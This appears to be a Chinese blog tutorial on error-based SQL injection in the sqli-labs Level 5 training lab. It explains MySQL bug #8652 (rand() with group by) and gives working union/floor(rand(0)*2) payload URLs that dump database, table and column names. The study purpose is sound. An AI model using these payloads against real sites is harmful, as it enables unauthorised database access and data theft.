在学习了普通的SQL注入,普通的盲注后,进入到报错型的盲注学习
本教程基于sqli-labs的level 5进行实验
众所周知,盲注并不会返回错误信息,使得sql注入的难度提高。而报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;当然其他类型的数据库也存在相应的问题,在此我们不提。
Bug 8652的主要内容就是在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而这个错误将会披露关键信息,如
"Duplicate entry '####' for key 1"这里的####正是用户输入的希望查询的内容
而该bug产生的主要原因就是:在rand()和group by同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询
对这个bug的利用
显然,我们需要巧妙地构造出能够触发上面这种类型报错的语法,或者说是公式来有意地触发bug。
网上已经有一些这方面的“公式”存在了,我们来看看这个公式到底是如何运行的?在这里我们使用sqli-labs的level 5作为公式例子讲解
?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+
经过测试我们知道select的字段数为3,因此这里需要用select a,b,c……
count()统计原组的个数
concat 字符串连接
floor 向下取整
rand() 产生一个0~1的随机数
rand(0),rand(1),当使用一个整数参数时,rand使用该参数作为种子生成一个固定的伪随机数列
c)
通过下面的例子我们可以发现rand()产生伪随机数列,而rand()使用了参数后则会产生固定的伪随机数列
可以发现,rand()产生不固定的伪随机数列
而rand加了参数之后则会产生固定的伪随机数列
我们再次把公式传送到这里方便我们进行分析
?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a
首先,我观察到,使用rand()有可能报错有可能不报错。
分析原因:rand()产生伪随机数列,因此每次结果不同,根据不同的结果会产生报错或不报错:即rand产生的数列是报不报错的关键!!!!!
于是,对rand(0),rand(1),rand(2),rand(3),rand(4),rand(5),rand(6)的循环数列进行分析,在这里就不贴过多的图了,rand(0)上图,其他直接po数列
注:这里所说的rand()都是floor(rand())取整后的结果
rand(0):0110110011
rand(1):0100011000
rand(2):1011001001
rand(3):1001100110
rand(4):0110111111
rand(5):0100011100
rand(6):1011100000
rand(7):1001100001
rand(8):0110011010
rand(9):0100110111
rand(10):1011100100
rand(11):1001001101
经过测试,rand(0),rand(4),rand(11)会报错,而其他不会,我们还可以发现rand(8)前面的结构跟rand(0),rand(4)几乎一样,在测试前我曾以为他会报错,没想到竟然没报错,因此我才一路测试到了rand(11),以求发现报错的奥秘,因此接下来我们对0,4,8,11的数列进行对比分析
可以看到,其实在前六个数字里,rand0和rand4的值是一模一样的,后面就不相同了,因此我们判定前六个数字的某种关系使得rand0和rand4报错
对于rand8,他的前六个数字只有一个数字与rand0,rand4不同,因此,我们也可以判定,它不报错的原因就是因为第5个数字不同
样例公式:?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--
——这里插入一个小知识:在进行查询时,sql会根据需要建立临时表进行数据的存储
关于为什么会报错,上面po出的官方介绍中说到,对同一列进行多次查询,即rand多次执行,那么我们可以猜测,当查询第一条语句时,结果为0,可以知道在临时表中键值为0不存在,因此我们会进行插入结果的操作,在插入之前猜测rand再次执行,因此插入了键值为1的结果
下一个数:此时已经查询到了第三个数“1”,因为临时表已存在该数,因此count值+1
下一个数:此时查询到0,又因为不存在该值,因此我们又会进行插入结果的操作,继续我们的猜测,在插入前进行rand的再次执行,因此想要插入值为1的新列,而值为1的列已存在,因此报错(count()函数的特性)!
=>推出我们的猜测:在执行插入操作前,rand()会再次执行
对rand0,rand4进行验证,发现没有问题!
对于rand8,因为第五个字母为0,因此在进行插入时,插入的新列的键值为0,因此不存在列重复的问题,因此不报错!!
接下来我们对rand11进行验证
第一次查询:1,检测到键值为1的列不存在,想要插入新列,再次进行查询,插入了键值为“0”的列
第二次查询:0,检测到已存在,count++
第三次查询:1,检测到键值为1的列不存在,想要插入新列,再次进行查询,插入了键值为“0”的列,又因为该列已存在,故报错!!
验证成功!,理论暂且可行!由于MySQL的帮助文档没有指明到底会如何多次进行查询,因此我们姑且可以这样认为在插入之前猜测rand再次执行是其中的一个逻辑判定
我们还可以得出这样的推论:
对于一个整数x,对于floor(rand(x)*2)产生的序列,如果在未出现“0011”或“1100”序列前出现“0010“或”1101”,那么该floor(rand(x)*2)产生的序列可用于报错型sql盲注
sqli-labs level5
首先判断查询语句的形式,也就是单引号测试法,双引号测试法,加括号等等进行测试,这里就不展示了
测试来是字符型的普通单引号注入
得到查询字段数为三,接着我们套公式进行相应内容的爆破
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select database()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a--+
首先查询一下表的个数
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a--+ 注:这里的limit可有可无
可以看到,表的个数有6个
接下来爆表名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a--+
调整 limit 的参数,将所有表名爆出
显然我们需要users表的内容
依然首先爆列数
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a--+
显示为3列
爆列名
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a--+
其实接下来的就不需要我继续说了,举一反三即可